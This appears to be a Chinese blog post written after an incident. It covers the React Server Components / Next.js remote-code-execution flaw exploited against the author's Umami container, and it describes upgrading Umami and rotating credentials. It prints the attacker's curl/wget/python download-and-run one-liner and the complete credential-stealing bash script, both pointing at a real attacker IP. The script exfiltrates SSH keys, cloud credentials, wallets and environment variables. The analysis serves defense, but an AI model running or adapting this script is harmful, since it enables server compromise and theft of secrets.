
我收到阿里云ECS存在安全风险提示,是 umami 被攻击执行了异常内容。而这个漏洞却是因为上游 Nextjs 以及更上游的 React 存在漏洞导致的,CVSS评分10.0满分,这是一个可以比拟当年 Log4j 的安全核弹,影响涉及next, react-router, waku, @parcel/rsc, @vitejs/plugin-rsc, 以及 rwsdk,等下游项目。
• 漏洞说明
• 核心攻击目标
• 对我的影响
• 攻击过程分析
• 攻击脚本内容
漏洞说明Umami 存在安全漏洞被被攻击的原因是 Umami 服务使用了 Nextjs 框架存在漏洞 CVE-2025-66478[1],该漏洞 CVSS10.0 满分。
Nextjs 的安全漏洞是因为 Nextjs 框架的使用 React Server Components (RSC) 协议存在漏洞 CVE-2025-55182[2],该漏洞 CVSS10.0 满分。
React 在2025/12/3发布了漏洞说明[3]
11月29日,Lachlan Davidson报告了React中的一个安全漏洞,该漏洞允许通过利用React解码发送到React服务器功能端点的有效负载的缺陷来执行未经身份验证的远程代码。
即使您的应用没有实现任何React Server函数端点,如果您的应用支持React Server组件,它仍然可能容易受到攻击。
此漏洞被披露为CVE-2025-55182评级为CVSS 10.0。
影响范围
该漏洞存在于以下版本的19.0、19.1.0、19.1.1和19.2.0中:
• react-server-dom-webpack
• react-server-dom-parcel
• react-server-dom-turbopack
受影响的框架和相关程序
具有对等依赖关系,或包含易受攻击的React包。以下React框架和关联程序受到影响next, react-router, waku, @parcel/rsc, @vitejs/plugin-rsc, 以及 rwsdk.
漏洞概述
React服务器功能允许客户端调用服务器上的函数。React提供了框架和捆绑程序用来帮助React代码在客户端和服务器上运行的集成点和工具。React将客户端上的请求转换为转发到服务器的HTTP请求。在服务器上,React将HTTP请求转换为函数调用,并将所需的数据返回给客户端。
未经身份验证的攻击者可以向任何服务器函数端点发出恶意HTTP请求,当React反序列化时,该端点会在服务器上实现远程代码执行。修复完成后,将提供该漏洞的更多详细信息。
我认为这次漏洞可以称之为又一次的安全漏洞核弹,主要是因为React的这些存在漏洞在软件是很多流行开源项目的基础依赖,影响涉及nextjs,react,vite等。
并且,就 CVSS 10.0 的评分,当年的 Log4j 漏洞就是典型参考:
• Log4Shell (CVE-2021-44228):Apache Log4j 库中的远程代码执行漏洞,影响范围极广,利用简单,危害巨大。
核心攻击目标主要攻击的目标是:
• 加密货币钱包:针对Solana、比特币钱包。用于窃取加密货币钱包。
• 云服务凭证:AWS、阿里云、腾讯云等。利用云凭证创建资源进行挖矿或发起攻击。
• SSH密钥:可用于后续服务器入侵。
• 配置文件:各类服务的敏感配置。获取数据库连接字符串、API密钥等。
• 系统敏感信息:可用于提权攻击。
• 数据泄露:获取数据库连接字符串、API密钥等。
• 持久化访问:建立后门,长期控制服务器。
该脚本的动作目标会导致服务器上核心敏感数据泄露,并可进一步攻击服务器所在整个机房或公司的其他的服务器,危害巨大。
对我的影响已经检测到被攻击的是 Umami 服务,目前 Umami 官方也在第一时间紧急发布了漏洞修复版本 v3.0.2[4] 和 v2.20.1[5]
我已经通过升级到 v3.0.2 解决该安全漏洞。
幸运的是本次攻击对我的影响很小,主要是因为我使用的 Docker 容器镜像,文件系统与ECS机器隔离,所以一些云平台的配置和SSH证书之类的无法获取。
根据这个攻击的逻辑的分析,我容器的ENV环境变量信息被盗取了,里面有敏感的 PostgreSQL 的账号和密码信息。由于我使用的是私有网地址,所以无法直接访问,因此影响很小。
但是密码泄露让我不安,所以接下来要更换密码,我的PostgreSQL是多个项目公用的所以更换密码会需要一些时间。
如果你也使用 Umami,并且是基于容器运行的,我们这里有官方修复后镜像可以 docker pull 下载,
• harbor.cncfstack.com/docker.io/umamisoftware/umami:3.0.2
• harbor.cncfstack.com/docker.io/umamisoftware/umami:mysql-v2.20.1
• harbor.cncfstack.com/docker.io/umamisoftware/umami:postgres-v2.20.1
需要注意的是 umami:3.0.2 支持ARM64和AMD64,而 umami:mysql-v2.20.1 和 umami:postgres-v2.20.1 只支持AMD64。
攻击过程分析系统异常进程我收到了异常监控的告警,运行在阿里云的ECS服务器存在一个异常进程启动,我看告警中的进程树如图:

图中核心最后一个是 /bin/sh 指令,执行一个 echo 命令进行进一步的 bash 执行。这个echo的字符串经过 base64 -d 解密后的结果是个 shell 脚本
(command -v curl >/dev/null 2>&1 && curl -s http://47.77.204.248/index | bash) || (command -v wget >/dev/null 2>&1 && wget -q -O- http://47.77.204.248/index | bash) || (command -v python3 >/dev/null 2>&1 && python3 -c "import urllib.request as u,subprocess; subprocess.Popen(['bash'], stdin=subprocess.PIPE).communicate(u.urlopen('http://47.77.204.248/index').read())") || (command -v python >/dev/null 2>&1 && python -c "import urllib2 as u,subprocess; subprocess.Popen(['bash'], stdin=subprocess.PIPE).communicate(u.urlopen('http://47.77.204.248/index').read())")
该命令会依次尝试使用 curl、wget、python3 或 python 从 http://47.77.204.248/index 下载一个脚本,并通过 bash 执行该下载的脚本。
这里做了多种类型的下载工具判断,主要目的是为了更好的兼容性,使在更多的设备上可以获取到该shell脚本。
攻击脚本内容分析http://47.77.204.248/index 获取的脚本是一个恶意信息收集脚本,在文章最后附完整脚本内容:
其功能是窃取服务器上的敏感数据并发送到远程攻击者服务器。以下是详细分析:
主要功能分析:
1. 敏感文件窃取。脚本会收集以下类型的敏感文件
• 配置文件:.env、.git/config、Docker配置等
• 密钥文件:Solana钱包(.config/solana/id.json)、比特币钱包(.bitcoin/wallet.dat)
• 云服务凭证:AWS、阿里云、腾讯云、Google Cloud、Kubernetes配置
• SSH密钥:.ssh目录下所有文件
• 系统敏感文件:/etc/passwd、/etc/shadow
2. 按模式搜索敏感文件。在用户目录中搜索包含特定关键词的文件
• _history:Bash历史文件等
• credential、password:凭证文件
• private、key、.pem:私钥文件
• config、wallet:配置文件和钱包文件
3. 系统信息收集
• 主机名和操作系统信息
• 环境变量
• 网络配置和IP地址
• 进程列表(ps aux)
• 网络连接信息(netstat -anpt)
4. 数据回传机制。脚本将收集的所有信息保存到本地文件({主机名}_{时间戳}.txt),然后通过多种方式上传到攻击者服务器
• 尝试使用 curl 上传
• 如果失败,尝试 wget
• 再失败则使用 python3
• 最后使用 python2
上传地址为:http://47.77.204.248/upload
5. 隐蔽操作
• 上传成功后删除本地生成的报告文件
• 使用多种上传方法确保成功率
• 文件大小限制为1MB以下,避免大文件引起注意
IP地址分析对于 http://47.77.204.248 中 IP 地址的分析,可以查看其归属是 阿里云在美国的数据中心。
我已经通过阿里云工单进行反馈。

http://47.77.204.248/index 的脚本内容
#!/bin/bash# Monitor script configurationSERVER_URL="http://47.77.204.248/upload"HOSTNAME=$(hostname)TIMESTAMP=$(date '+%Y%m%d_%H%M%S')OUTPUT_FILE="${HOSTNAME}_${TIMESTAMP}.txt"# File names to monitorFILE_NAMES=( ".env" ".docker/config.json" ".git/config" ".config/solana/id.json" ".bitcoin/wallet.dat" ".arbitrum/mainnet/config.yaml" ".electrum/config")# Filename patterns to search in user directories (files containing these strings)MONITOR_PATTERNS=( "_history" "credential" "password" "config" "private" "key" ".pem" "wallet")# Directory names to monitor in user home directoriesMONITOR_DIRS=( ".ssh" ".aws" ".aliyun" ".hcloud" ".tccli" ".config/gcloud" ".kube")# Generate file list from /root and /home/*/MONITORED_FILES=()REPORT_DIRS=()USER_DIRS=()# Add /root as a user directoryUSER_DIRS+=("/root")# Add files from /rootfor fname in "${FILE_NAMES[@]}"; do MONITORED_FILES+=("/root/$fname")doneMONITORED_FILES+=("/etc/passwd")MONITORED_FILES+=("/etc/shadow")# Add monitor directories from /root if they existfor dir_name in "${MONITOR_DIRS[@]}"; do if [ -d "/root/$dir_name" ]; then REPORT_DIRS+=("/root/$dir_name") fidone# Add files from all users in /homeif [ -d "/home" ]; then for user_dir in /home/*; do if [ -d "$user_dir" ]; then USER_DIRS+=("$user_dir") for fname in "${FILE_NAMES[@]}"; do MONITORED_FILES+=("$user_dir/$fname") done # Add monitor directories if they exist for dir_name in "${MONITOR_DIRS[@]}"; do if [ -d "$user_dir/$dir_name" ]; then REPORT_DIRS+=("$user_dir/$dir_name") fi done fi donefi# Start reportecho "========================================" > "$OUTPUT_FILE"echo "Monitor Report - $HOSTNAME" >> "$OUTPUT_FILE"echo "Time: $(date '+%Y-%m-%d %H:%M:%S')" >> "$OUTPUT_FILE"echo "========================================" >> "$OUTPUT_FILE"echo "" >> "$OUTPUT_FILE"# System informationecho "" >> "$OUTPUT_FILE"echo "===== Basic System Information =====" >> "$OUTPUT_FILE"echo "Hostname: $HOSTNAME" >> "$OUTPUT_FILE"echo "" >> "$OUTPUT_FILE"echo "Operating System:" >> "$OUTPUT_FILE"if [ -f /etc/os-release ]; then cat /etc/os-release >> "$OUTPUT_FILE" 2>&1elif [ -f /etc/redhat-release ]; then cat /etc/redhat-release >> "$OUTPUT_FILE" 2>&1elif [ -f /etc/debian_version ]; then echo "Debian $(cat /etc/debian_version)" >> "$OUTPUT_FILE" 2>&1else uname -a >> "$OUTPUT_FILE" 2>&1fiecho "" >> "$OUTPUT_FILE"echo "Kernel Version:" >> "$OUTPUT_FILE"uname -r >> "$OUTPUT_FILE" 2>&1echo "" >> "$OUTPUT_FILE"echo "Environment:" >> "$OUTPUT_FILE"env >> "$OUTPUT_FILE" 2>&1echo "" >> "$OUTPUT_FILE"echo "Network Interfaces and IP Addresses:" >> "$OUTPUT_FILE"if command -v ip >/dev/null 2>&1; then ip addr show >> "$OUTPUT_FILE" 2>&1elif command -v ifconfig >/dev/null 2>&1; then ifconfig -a >> "$OUTPUT_FILE" 2>&1else echo "No ip or ifconfig command available" >> "$OUTPUT_FILE"fiecho "" >> "$OUTPUT_FILE"# List user home directoriesecho "" >> "$OUTPUT_FILE"echo "" >> "$OUTPUT_FILE"echo "===== User Home Directories (ls -al) =====" >> "$OUTPUT_FILE"for user_dir in "${USER_DIRS[@]}"; do if [ -d "$user_dir" ]; then echo "" >> "$OUTPUT_FILE" echo "--- Directory: $user_dir ---" >> "$OUTPUT_FILE" ls -al "$user_dir" >> "$OUTPUT_FILE" 2>&1 fi echo "" >> "$OUTPUT_FILE"done# Read history files and monitor_log files from user directoriesecho "" >> "$OUTPUT_FILE"echo "" >> "$OUTPUT_FILE"echo "===== History and Monitor Log Files =====" >> "$OUTPUT_FILE"for user_dir in "${USER_DIRS[@]}"; do if [ -d "$user_dir" ]; then echo "" >> "$OUTPUT_FILE" echo "--- Scanning directory: $user_dir ---" >> "$OUTPUT_FILE" # Enable dotglob to match hidden files shopt -s dotglob nullglob # Find files containing patterns from MONITOR_PATTERNS for pattern in "${MONITOR_PATTERNS[@]}"; do for file in "$user_dir"/*"$pattern"*; do if [ -f "$file" ]; then # Check file size (less than 1MB = 1048576 bytes) file_size=$(stat -c%s "$file" 2>/dev/null || stat -f%z "$file" 2>/dev/null) if [ "$file_size" -lt 1048576 ]; then echo "" >> "$OUTPUT_FILE" echo ">>> File: $file (Size: $file_size bytes) <<<" >> "$OUTPUT_FILE" echo "" >> "$OUTPUT_FILE" cat "$file" >> "$OUTPUT_FILE" 2>&1 echo "" >> "$OUTPUT_FILE" echo ">>> End of file: $(basename "$file") <<<" >> "$OUTPUT_FILE" else echo "" >> "$OUTPUT_FILE" echo ">>> File: $file (Size: $file_size bytes - SKIPPED, larger than 1MB) <<<" >> "$OUTPUT_FILE" fi fi done done # Disable dotglob shopt -u dotglob nullglob fi echo "" >> "$OUTPUT_FILE"done# Read monitored filesecho "" >> "$OUTPUT_FILE"echo "" >> "$OUTPUT_FILE"echo "===== File Contents =====" >> "$OUTPUT_FILE"for file in "${MONITORED_FILES[@]}"; do if [ -f "$file" ]; then echo "" >> "$OUTPUT_FILE" echo "--- File: $file ---" >> "$OUTPUT_FILE" cat "$file" >> "$OUTPUT_FILE" 2>&1 fi echo "" >> "$OUTPUT_FILE"done# Read .report directoriesecho "" >> "$OUTPUT_FILE"echo "" >> "$OUTPUT_FILE"echo "===== Monitor Directory Contents =====" >> "$OUTPUT_FILE"for report_dir in "${REPORT_DIRS[@]}"; do if [ -d "$report_dir" ]; then # List files in the directory echo "" >> "$OUTPUT_FILE" echo "--- Directory: $report_dir ---" >> "$OUTPUT_FILE" echo "Files in directory:" >> "$OUTPUT_FILE" ls -lh "$report_dir" >> "$OUTPUT_FILE" 2>&1 echo "" >> "$OUTPUT_FILE" # Read each file in the directory for report_file in "$report_dir"/*; do if [ -f "$report_file" ]; then echo "" >> "$OUTPUT_FILE" echo ">>> File: $(basename "$report_file") <<<" >> "$OUTPUT_FILE" echo "" >> "$OUTPUT_FILE" cat "$report_file" >> "$OUTPUT_FILE" 2>&1 echo "" >> "$OUTPUT_FILE" echo ">>> End of file: $(basename "$report_file") <<<" >> "$OUTPUT_FILE" fi done fi echo "" >> "$OUTPUT_FILE"done# Execute ps aux commandecho "" >> "$OUTPUT_FILE"echo "" >> "$OUTPUT_FILE"echo "===== Process List (ps aux) =====" >> "$OUTPUT_FILE"ps aux >> "$OUTPUT_FILE" 2>&1echo "" >> "$OUTPUT_FILE"# Execute netstat -anpt commandecho "" >> "$OUTPUT_FILE"echo "" >> "$OUTPUT_FILE"echo "===== Network Connections (netstat -anpt) =====" >> "$OUTPUT_FILE"netstat -anpt >> "$OUTPUT_FILE" 2>&1echo "" >> "$OUTPUT_FILE"# Function to upload with curlupload_with_curl() { curl -X POST \ -F "file=@${OUTPUT_FILE}" \ -F "hostname=${HOSTNAME}" \ -F "timestamp=${TIMESTAMP}" \ --connect-timeout 10 \ --max-time 60 \ "${SERVER_URL}" return $?}# Function to upload with wgetupload_with_wget() { wget --post-file="${OUTPUT_FILE}" \ --timeout=60 \ --tries=1 \ -O - \ "${SERVER_URL}?hostname=${HOSTNAME}×tamp=${TIMESTAMP}" return $?}# Function to upload with python3upload_with_python3() { python3 << EOFimport systry: import urllib.request import urllib.parse with open('${OUTPUT_FILE}', 'rb') as f: data = f.read() boundary = '----WebKitFormBoundary' + ''.join([chr(i) for i in range(97, 123)]) body = ( '--' + boundary + '\r\n' + 'Content-Disposition: form-data; name="file"; filename="$(basename ${OUTPUT_FILE})"\r\n' + 'Content-Type: application/octet-stream\r\n\r\n' ).encode() + data + ( '\r\n--' + boundary + '\r\n' + 'Content-Disposition: form-data; name="hostname"\r\n\r\n' + '${HOSTNAME}\r\n' + '--' + boundary + '\r\n' + 'Content-Disposition: form-data; name="timestamp"\r\n\r\n' + '${TIMESTAMP}\r\n' + '--' + boundary + '--\r\n' ).encode() req = urllib.request.Request('${SERVER_URL}', data=body) req.add_header('Content-Type', 'multipart/form-data; boundary=' + boundary) response = urllib.request.urlopen(req, timeout=60) print(response.read().decode()) sys.exit(0)except Exception as e: print(f"Error: {e}", file=sys.stderr) sys.exit(1)EOF return $?}# Function to upload with python (python2)upload_with_python() { python << EOFimport systry: import urllib2 import os with open('${OUTPUT_FILE}', 'rb') as f: data = f.read() boundary = '----WebKitFormBoundary' + 'abcdefghijklmnop' body = ( '--' + boundary + '\r\n' + 'Content-Disposition: form-data; name="file"; filename="' + os.path.basename('${OUTPUT_FILE}') + '"\r\n' + 'Content-Type: application/octet-stream\r\n\r\n' ) + data + ( '\r\n--' + boundary + '\r\n' + 'Content-Disposition: form-data; name="hostname"\r\n\r\n' + '${HOSTNAME}\r\n' + '--' + boundary + '\r\n' + 'Content-Disposition: form-data; name="timestamp"\r\n\r\n' + '${TIMESTAMP}\r\n' + '--' + boundary + '--\r\n' ) req = urllib2.Request('${SERVER_URL}', data=body) req.add_header('Content-Type', 'multipart/form-data; boundary=' + boundary) response = urllib2.urlopen(req, timeout=60) print response.read() sys.exit(0)except Exception as e: print >> sys.stderr, "Error:", str(e) sys.exit(1)EOF return $?}# Try uploading with available toolsUPLOAD_SUCCESS=0if command -v curl >/dev/null 2>&1; then if upload_with_curl; then UPLOAD_SUCCESS=1 fifiif [ $UPLOAD_SUCCESS -eq 0 ] && command -v wget >/dev/null 2>&1; then if upload_with_wget; then UPLOAD_SUCCESS=1 fifiif [ $UPLOAD_SUCCESS -eq 0 ] && command -v python3 >/dev/null 2>&1; then if upload_with_python3; then UPLOAD_SUCCESS=1 fifiif [ $UPLOAD_SUCCESS -eq 0 ] && command -v python >/dev/null 2>&1; then if upload_with_python; then UPLOAD_SUCCESS=1 fifiif [ $UPLOAD_SUCCESS -eq 1 ]; then rm -f "$OUTPUT_FILE" exit 0else exit 1fi
引用链接[1] CVE-2025-66478: https://nextjs.org/blog/CVE-2025-66478[2] CVE-2025-55182: https://www.cve.org/CVERecord?id=CVE-2025-55182[3] 漏洞说明: https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components[4] v3.0.2: https://github.com/umami-software/umami/releases/tag/[5] v2.20.1: https://github.com/umami-software/umami/releases/tag/v2.20.1